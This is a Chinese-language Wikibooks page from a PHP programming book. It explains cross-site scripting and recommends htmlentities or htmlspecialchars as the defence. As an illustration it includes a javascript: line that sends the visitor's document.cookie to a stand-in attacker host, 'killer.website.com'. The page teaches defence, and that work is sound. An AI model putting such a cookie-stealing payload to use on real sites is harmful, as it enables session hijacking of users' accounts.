跳转至内容

PHP 编程/跨站点脚本攻击

来自维基教科书,面向开放世界的开放书籍


跨站点脚本 (或 XSS) 是对脚本发送敏感信息(如 cookie 或其他会话标识符)到其他网站的基本描述。

通常,这些攻击会影响内容可以编辑或添加的网站。在大多数情况下,会话标识符甚至用户名/密码都存储在 cookie 中。如果有人知道会话标识符,他们可以在自己的机器上轻松使用它来执行任何恶意任务,而这些任务不会让你满意。

现在,如果你在维基教科书或任何其他网站上登录,请访问该页面并在地址栏中键入以下内容

javascript:void(alert(document.cookie))

这些是每次发送到网站以识别你的 cookie。如果你的网站没有防范 XSS,黑客会写下类似这样的内容

javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))

这将把 cookie 信息发送到他们的网站。

如果不删除会提交到另一个网站的恶意 HTML/JavaScript 代码,就无法保护自己免受 XSS 攻击。

到目前为止,最常见的方法是使用 htmlentitieshtmlspecialchars 过滤编码,这样就没有人可以在你的网站(例如博客评论)中添加任何 HTML。

$message = htmlentities($message);

另一种方法是创建任何类型的“保护模式”代码,例如 MediaWiki、BBCode 或其他为方便用户内容的样式/格式而发明的代码。



华夏公益教科书